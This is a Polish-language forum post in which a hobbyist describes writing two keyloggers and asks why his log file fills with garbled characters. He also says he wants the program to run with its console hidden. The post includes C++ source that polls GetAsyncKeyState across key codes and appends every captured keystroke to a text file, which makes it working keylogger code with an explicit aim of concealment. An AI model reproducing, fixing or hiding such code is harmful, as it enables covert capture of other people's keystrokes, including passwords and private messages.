Dzisiaj bawiłem się z keyllogerami i zrobiłem 2. Jeden działający za pomocą _kbhit
, _getch
, a drugi korzystający z GetAsyncKeyState
. W 1. działało ładnie ale chciałem zrobić bez użycia konsoli (żeby była schowana). To co wyświetla mi się w consoli jest prawidłowe ale w pliku jest to: ä…—ä‘“ä…—ä‘“ä…—ä‘“ä…—
Wie ktoś czym może być to spowodowane? kod:
// pliki.cpp: definiuje punkt wejścia dla aplikacji konsolowej.
//
#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <string>
#include <fstream>
#include <conio.h>
using namespace std;
int main()
{
fstream plik;
string klucz;
char key;
plik.open("text.txt", ios::out | ios::app);
while (true)
{
for (int i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
cout << static_cast<char>(i);
plik << static_cast<char>(i);
}
}
}
plik.close();
return 0;
}